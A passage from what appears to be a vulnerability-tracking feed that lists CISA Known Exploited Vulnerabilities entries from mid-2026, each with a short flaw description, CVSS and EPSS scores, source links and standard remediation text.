2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56155&date=2026-10-25). Sources: CISA KEV entry CVE-2026-56155: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56155&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-56155 CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 14, 2026; federal due date Jul 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Server Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2026-56164 Microsoft SharePoint Server Missing Authentication for Critical Function Vulnerability (Jul 14, 2026). Microsoft SharePoint contains a missing authentication for critical function vulnerability that allows an unauthorized attacker to elevate privileges over a network. CVSS 5.3 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-56164). EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56164&date=2026-10-25). Sources: CISA KEV entry CVE-2026-56164: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56164&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-56164 CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 14, 2026; federal due date Jul 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability https://kevwire.com/record/CVE-2026-15409 SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability (Jul 14, 2026). SonicWall SMA1000 Appliances contain a server-side request forgery vulnerability that could allow a remote unauthenticated attacker to potentially cause the appliance to make requests to unintended location. CVSS 10.0 (version 3.1; evidence as of Aug 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-15409). EPSS 6.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-15409&date=2026-10-25). Sources: CISA KEV entry CVE-2026-15409: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-15409&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-15409 CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 14, 2026; federal due date Jul 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SMA1000 Appliances Code Injection Vulnerability https://kevwire.com/record/CVE-2026-15410 SonicWall SMA1000 Appliances Code Injection Vulnerability (Jul 14, 2026). SonicWall SMA1000 Appliances contain a code injection vulnerability which in specific conditions could potentially enable a remote authenticated attacker as administrator to execute arbitrary OS commands. CVSS 7.2 (version 3.1; evidence as of Aug 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-15410). EPSS 11.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-15410&date=2026-10-25). Sources: CISA KEV entry CVE-2026-15410: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-15410&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-15410 CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 14, 2026; federal due date Jul 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Cross-Site Request Forgery Vulnerability https://kevwire.com/record/CVE-2008-4128 Cisco IOS Cross-Site Request Forgery Vulnerability (Jul 13, 2026). Cisco IOS 12.4 contains multiple cross-site forgery vulnerabilities that allows remote attackers to execute arbitrary commands via (1) a certain "show privilege" command to the /level/15/exec/- URI, and (2) a certain "alias exec" command to the /level/15/exec/-/configure/http URI. CVSS 8.1 (version 3.1; evidence as of Sep 24, 2026; https://cveawg.mitre.org/api/cve/CVE-2008-4128). EPSS 33.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-4128&date=2026-10-25). Sources: CISA KEV entry CVE-2008-4128: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-4128&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2008-4128 CISA added this entry on 2026-07-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 13, 2026; federal due date Jul 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Balbooa Forms Unrestricted Upload of File with Dangerous Type Vulnerability https://kevwire.com/record/CVE-2026-56291 Balbooa Forms Unrestricted Upload of File with Dangerous Type Vulnerability (Jul 10, 2026). Balbooa Forms contains an unrestricted upload of file with dangerous type vulnerability that allows an unauthenticated arbitrary file upload which could allow uploading of executable files leading to full RCE. CVSS 10.0 (version 4.0; evidence as of Aug 12, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-56291). EPSS 14.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56291&date=2026-10-25). Sources: CISA KEV entry CVE-2026-56291: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56291&date=2026-10-25 CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-56291 CISA added this entry on 2026-07-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 10, 2026; federal due date Jul 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### iCagenda Unrestricted Upload of File with Dangerous Type Vulnerability https://kevwire.com/record/CVE-2026-48939 iCagenda Unrestricted Upload of File with Dangerous Type Vulnerability (Jul 10, 2026). iCagenda contains an unrestricted upload of file with dangerous type vulnerability that allows the upload of arbitrary files in the file attachment feature, ultimately resulting in PHP code upload and execution. CVSS 10.0 (version 4.0; evidence as of Aug 12, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48939). EPSS 20.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48939&date=2026-10-25). Sources: CISA KEV entry CVE-2026-48939: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48939&date=2026-10-25 CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-48939 CISA added this entry on 2026-07-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 10, 2026; federal due date Jul 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability https://kevwire.com/record/CVE-2026-48908 JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability (Jul 7, 2026). JoomShaper SP Page Builder contains an unrestricted upload of file with dangerous type vulnerability that allows unauthenticated users to upload arbitrary files, ultimately resulting in the upload and execution of PHP code. CVSS 10.0 (version 4.0; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48908). EPSS 88.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48908&date=2026-10-25). Sources: CISA KEV entry CVE-2026-48908: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48908&date=2026-10-25 CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-48908 CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 7, 2026; federal due date Jul 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Langflow Authorization Bypass Through User-Controlled Key Vulnerability https://kevwire.com/record/CVE-2026-55255 Langflow Authorization Bypass Through User-Controlled Key Vulnerability (Jul 7, 2026). Langflow contains an authorization bypass through user-controlled key vulnerability which allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request. CVSS 8.4 (version 3.1; evidence as of Jul 7, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-55255). EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55255&date=2026-10-25). Sources: CISA KEV entry CVE-2026-55255: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55255&date=2026-10-25 CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-55255 CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 7, 2026; federal due date Jul 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Joomlack Page Builder Improper Access Control Vulnerability https://kevwire.com/record/CVE-2026-56290 Joomlack Page Builder Improper Access Control Vulnerability (Jul 7, 2026). Joomlack Page Builder contains an improper access control vulnerability that could allow for remote code execution via unauthenticated arbitrary file upload. CVSS 10.0 (version 4.0; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-56290). EPSS 30.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56290&date=2026-10-25). Sources: CISA KEV entry CVE-2026-56290: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56290&date=2026-10-25 CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-56290 CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 7, 2026; federal due date Jul 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Path Traversal Vulnerability https://kevwire.com/record/CVE-2026-48282 Adobe ColdFusion Path Traversal Vulnerability (Jul 7, 2026). Adobe ColdFusion contains a path traversal vulnerability that could lead to arbitrary code execution in the context of the current user. CVSS 10.0 (version 3.1; evidence as of Aug 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48282). EPSS 42.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48282&date=2026-10-25). Sources: CISA KEV entry CVE-2026-48282: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48282&date=2026-10-25 CVE Program CNA adobe: https://cveawg.mitre.org/api/cve/CVE-2026-48282 CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 7, 2026; federal due date Jul 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Server Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2026-45659 Microsoft SharePoint Server Deserialization of Untrusted Data Vulnerability (Jul 1, 2026). Microsoft SharePoint Server contains a deserialization of untrusted data vulnerability which allows an authorized attacker to execute code over a network. CVSS 8.8 (version 3.1; evidence as of Aug 10, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-45659). EPSS 80.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45659&date=2026-10-25). Sources: CISA KEV entry CVE-2026-45659: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45659&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-45659 CISA added this entry on 2026-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 1, 2026; federal due date Jul 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SimpleHelp Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2026-48558 SimpleHelp Authentication Bypass Vulnerability (Jun 29, 2026). SimpleHelp contains an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted without verifying their cryptographic signature. In a vulnerable configuration, a remote, unauthenticated attacker can submit a forged token containing arbitrary identity claims to obtain a fully authenticated technician session. In some configurations, this may also allow bypass of multi-factor authentication. CVSS 9.5 (version 4.0; evidence as of Jul 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48558). EPSS 77.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48558&date=2026-10-25). Sources: CISA KEV entry CVE-2026-48558: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48558&date=2026-10-25 CVE Program CNA VulnCheck: https://cveawg.mitre.org/api/cve/CVE-2026-48558 CISA added this entry on 2026-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 29, 2026; federal due date Jul 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PTC Windchill and FlexPLM Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2026-12569 PTC Windchill and FlexPLM Improper Input Validation Vulnerability (Jun 25, 2026). PTC Windchill and FlexPLM contains an improper input validation vulnerability allowing an unauthenticated, remote attacker to execute arbitrary code by sending a malicious request to the network. CVSS 9.3 (version 4.0; evidence as of Jun 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-12569). EPSS 46.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-12569&date=2026-10-25). Sources: CISA KEV entry CVE-2026-12569: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-12569&date=2026-10-25 CVE Program CNA PTC: https://cveawg.mitre.org/api/cve/CVE-2026-12569 CISA added this entry on 2026-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 25, 2026; federal due date Jun 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Unified Communications Manager Server-Side Request Forgery (SSRF) Vulnerability https://kevwire.com/record/CVE-2026-20230 Cisco Unified Communications Manager Server-Side Request Forgery (SSRF) Vulnerability (Jun 25, 2026). Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) contain a server-side request forgery (SSRF) Vulnerability that could allow an unauthenticated, remote attacker to write files to the underlying operating system that could be used later to elevate to root. CVSS 8.6 (version 3.1; evidence as of Jul 1, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20230). EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20230&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20230: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20230&date=2026-10-25 CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20230 CISA added this entry on 2026-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 25, 2026; federal due date Jun 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Lantronix EDS5000 Code Injection Vulnerability https://kevwire.com/record/CVE-2025-67038 Lantronix EDS5000 Code Injection Vulnerability (Jun 23, 2026). Lantronix EDS5000 contains a code injection vulnerability that could allow attackers to inject arbitrary OS commands into the username parameter. Injected commands are executed with root privileges. CVSS 9.3 (version 4.0; evidence as of Sep 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-67038). EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-67038&date=2026-10-25). Sources: CISA KEV entry CVE-2025-67038: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-67038&date=2026-10-25 CVE Program CNA icscert: https://cveawg.mitre.org/api/cve/CVE-2025-67038 CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 23, 2026; federal due date Jun 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ubiquiti UniFi OS Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2026-34910 Ubiquiti UniFi OS Improper Input Validation Vulnerability (Jun 23, 2026). Ubiquiti UniFi OS contains an improper input validation vulnerability which could allow a malicious actor with access to the network to conduct command injection. CVSS 10.0 (version 3.1; evidence as of May 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-34910). EPSS 90.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34910&date=2026-10-25). Sources: CISA KEV entry CVE-2026-34910: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34910&date=2026-10-25 CVE Program CNA hackerone: https://cveawg.mitre.org/api/cve/CVE-2026-34910 CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 23, 2026; federal due date Jun 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ubiquiti UniFi OS Path Traversal Vulnerability https://kevwire.com/record/CVE-2026-34909 Ubiquiti UniFi OS Path Traversal Vulnerability (Jun 23, 2026). Ubiquiti UniFi OS contains a path traversal vulnerability which could allow a malicious actor with access to the network to access files on the underlying system that could be manipulated to access an underlying account. CVSS 10.0 (version 3.1; evidence as of May 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-34909). EPSS 68.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34909&date=2026-10-25). Sources: CISA KEV entry CVE-2026-34909: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34909&date=2026-10-25 CVE Program CNA hackerone: https://cveawg.mitre.org/api/cve/CVE-2026-34909 CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 23, 2026; federal due date Jun 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ubiquiti UniFi OS Improper Access Control Vulnerability 